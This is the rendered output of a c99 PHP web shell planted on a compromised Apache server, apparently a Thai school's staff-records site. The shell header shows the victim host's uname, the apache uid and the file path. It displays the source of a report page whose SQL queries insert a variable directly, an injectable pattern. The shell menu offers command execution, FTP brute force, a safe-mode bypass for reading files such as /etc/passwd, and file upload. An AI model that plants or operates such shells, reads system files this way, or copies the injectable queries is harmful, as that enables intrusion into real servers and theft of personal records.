!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Monny_depart/personal/Monny/   drwxr-xr-x
Free 49.64 GB of 127.8 GB (38.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Report_d.php (5.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("password"))
 {
 
$Username $valid_user;
 
$Password $password;

include(
"../../../include/FunctionDB.php");
ConnectDB();
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
//$Teacher_code = $rss[Teacher_code];
$sql2 "Select * FROM history_decoration_tb Where Teacher_code='$Teacher_code' Order By Year_receive Asc";
$result2 mysql_query($sql2) or die(" Error").mysql_error();
$num mysql_num_rows($result2);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Report</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../../../css/style1.css" type="text/css">

</head>

<body bgcolor="#FFFFFF">
<table width="95%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="95%" border="0" align="center" cellpadding="0" cellspacing="1">
  <tr> 
    <td width="26%"> 
      <div align="left"><font size="2" face="Tahoma">ชื่อ-นามสกุล 
        </font></div></td>
    <td width="74%"> 
      <div align="left"><font color="#003366" size="2" face="Tahoma"> 
        &nbsp; <?php echo $rss[First_name] ;?> <?php echo $rss[Teacher_name] ;?> 
        <? echo $rss[Teacher_lastname];?></font></div></td>
  </tr>
  <tr> 
    <td> 
      <div align="left"><font size="2" face="Tahoma">ตำแหน่งทางราชการปัจจุบัน 
        </font></div></td>
    <td><font size="2" face="Tahoma">&nbsp;</font><font color="#003366" size="2" face="Tahoma"> 
      <?php echo $rss[Gover_pos] ;?></font></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#FFFFFF" style="border:1px solid gray">
  <form action="file:///C|/apache/Apache2/htdocs/Pbri/Delplant.php" method="post">
    <tr> 
      <td height="21" colspan="7"> <div align="center"><font color="#003366" size="4" face="Tahoma"><strong>&nbsp;&nbsp;ประวัติการรับพระราชทานเครื่องราชอิสริยาภรณ์</strong></font></div></td>
    </tr>
    <tr> 
      <td width="34" align="center" style="border:1px solid gray"><font color="#000000" size="2" face="Tahoma">ที่</font></td>
      <td width="57" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">ปีที่ได้รับ</font></td>
      <td width="314" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">ชั้นเตรื่องราชอิสริยาภรณ์</font></td>
      <td width="63" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">เล่มที่</font></td>
      <td width="76" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">ตอนที่</font></td>
      <td width="72" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">หน้าี่</font></td>
      <td width="129" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">ลำดับที่</font></td>
    </tr>
    <?
$i 
1;
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
    <tr> 
      <td height="18" align=center><font color="#003366" size="2" face="Tahoma"> 
        <?=$i?>
        </font></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"><?php echo $rs[Year_receive] ;?></font></div></td>
      <td><font size="2" face="Tahoma">&nbsp;</font><font color="#003366" size="2" face="Tahoma"><?php echo $rs[Decoration_name] ;?></font></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Volumn]";
      
?>
          </font></div></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Col]";
      
?>
          </font></div></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Page]";
      
?>
          </font></div></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Orderlist]";
      
?>
          </font></div></td>
    </tr>
    <?
    $count
=1;
     }
else
{
?>
    <tr> 
      <td align="center"><font color="#003366" size="2" face="Tahoma"> 
        <?=$i?>
        </font></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"><?php echo $rs[Year_receive] ;?></font></div></td>
      <td><font size="2" face="Tahoma">&nbsp;</font><font color="#003366" size="2" face="Tahoma"><?php echo $rs[Decoration_name] ;?></font></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Volumn]";
      
?>
          </font></div></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Col]";
      
?>
          </font></div></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Page]";
      
?>
          </font></div></td>
      <td> 
        <div align="center"><font color="#003366" size="2" face="Tahoma"> 
          <?php 
      
echo "$rs[Orderlist]";
      
?>
          </font></div></td>
    </tr>
    <?
$count
=0;
}
$i++;
 }    
?>
    <tr> 
      <td colspan="7" align="center">&nbsp; </td>
  </form>
</table>
<p>&nbsp;</p>
</body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0155 ]--